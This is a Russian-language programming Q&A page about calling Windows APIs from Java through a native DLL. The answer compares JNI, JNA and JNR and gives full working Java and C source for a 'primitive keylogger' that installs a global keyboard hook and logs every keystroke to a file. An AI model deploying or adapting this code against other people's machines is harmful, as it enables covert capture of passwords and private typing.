Страницы

Поиск по вопросам

воскресенье, 26 января 2020 г.

Как подружить Java с системой через написание dll на C++

#java #cpp #c #windows


Окей. Как мне стало известно из изучения Java, что по сути Java не общается с самой
операционной системой, она посылает запрос в JVM и обрабатывает его. Например получение
Jav'ой доступу к принтеру. Но! Java не может получать доступ к регистру, автозапуску
и прочим вещам. Окей я не буду вдаваться в подробности зачем, но просто есть необходимость. 

Например у меня есть задача, определена точно ОС - Windows. И мне необходимо "хукать"
нажатия клавиатуры, или производить эти нажатия самой программой. Я нашел решение -
написание dll библиотеки на C++. Но как мне ее написать. Если мы пишем код на C++ подключая
библиотеку windows.h для работы с winapi. И при этом скомпилированный этот код в виде
библиотеки подрубаем в Java код. Ничего не потеряется? 
    


Ответы

Ответ 1



Из JVM есть несколько дверей в операционную систему - JNI, JNA и JNR. JNI (Java Native Interface) - самый старый и чаще всего используемый способ взаимодействия с нативным кодом. Его минус в том, что он требует от программиста знания C/C++ и хорошего понимания принципов работы виртуальной машины. JNA (Java Native Access) - это надстройка над JNI изолирующая программиста от низкоуровневых деталей за счёт использования рефлексии и libffi. А где рефлексия, там низкая производительность и высокое количество рантайм ошибок. В JNR (Java Native Runtime) рефлексию заменили генерацией байткода, что существенно увеличило производительность. Это относительно молодой проект, я в нём ещё не копался и сказать ничего не могу. А вот пример примитивного кейлогера с использованием JNI показать могу. Snitch.java import java.io.Closeable; // Чтобы автоматически отключать хук при // завершении работы реализуем интерфейс Closeable public class Snitch implements Closeable { // Объявляем нативные методы private native boolean init(String filePath); private native void listen(); public native void close(); public Snitch(String filePath) throws IntializatonException { if (!init(filePath)) throw new IntializatonException(); } public static void main(String[] args) { // Загружаем библиотеку реализующую // нативные методы System.loadLibrary("snitch"); // Передаём путь к логфайлу и ловим нажатия клавиш try (Snitch snitch = new Snitch("C:\\Temp\\keyboard.txt")) { snitch.listen(); } catch (IntializatonException exc) { System.err.println("Can't install hook!"); } } } Компилируем командой javac -h . Snitch.java. Ключ -h указывает в каком каталоге создать заголовочный файл с определениями нативных методов. snitch.c #include #include #include #include "Snitch.h" // Заголовочный файл сгенерированный javac FILE *fh; HINSTANCE hInstance = NULL; HHOOK hHook = NULL; enum Keys { SHIFT = 16, CAPSLOCK = 20, }; BOOL APIENTRY DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved) { switch(reason) { case DLL_PROCESS_ATTACH: hInstance = instance; break; default: break; } return TRUE; } LRESULT CALLBACK kbdProc(int code, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYUP) { KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT*) lParam; DWORD wVirtKey = kbdStruct->vkCode; DWORD wScanCode = kbdStruct->scanCode; BYTE lpKeyState[256]; GetKeyboardState(lpKeyState); lpKeyState[SHIFT] = 0; lpKeyState[CAPSLOCK] = 0; if (GetKeyState(VK_LSHIFT) < 0 || GetKeyState(VK_RSHIFT) < 0) { lpKeyState[SHIFT] = 0x80; } if ((GetKeyState(VK_CAPITAL) & 1) == 1) { lpKeyState[CAPSLOCK] = 0x01; } char result; ToAscii(wVirtKey, wScanCode, lpKeyState, (LPWORD)&result, 0); fprintf(fh, "%c", result); } return CallNextHookEx(hHook, code, wParam, lParam); } JNIEXPORT jboolean JNICALL Java_Snitch_init(JNIEnv* env, jobject obj, jstring filePath) { // Получаем указатель на массив символов строки const char *path = (*env)->GetStringUTFChars(env, filePath, NULL); if (path == NULL) return JNI_FALSE; // Открываем логфайл if (!(fh = fopen(path, "a"))) return JNI_FALSE; // Делаем строку доступной сборщику мусора (*env)->ReleaseStringUTFChars(env, filePath, path); // Регистрируем хук if (!(hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, hInstance, 0))) return JNI_FALSE; return JNI_TRUE; } JNIEXPORT void JNICALL Java_Snitch_listen(JNIEnv* env, jobject obj) { MSG message; while(GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } } JNIEXPORT void JNICALL Java_Snitch_close(JNIEnv* env, jobject obj) { if (hHook) UnhookWindowsHookEx(hHook); if (fh) fclose(fh); } Компилируем c'шный исходник в snitch.dll, запускаем нашу программу командой java Snitch и убеждаемся, что в C:\Temp\keyboard.txt регистрируются нажатые клавиши. Чуть более подробно о процессе компиляции и объявлениях JNI-методов можно посмотреть в другом моём ответе.

Комментариев нет:

Отправить комментарий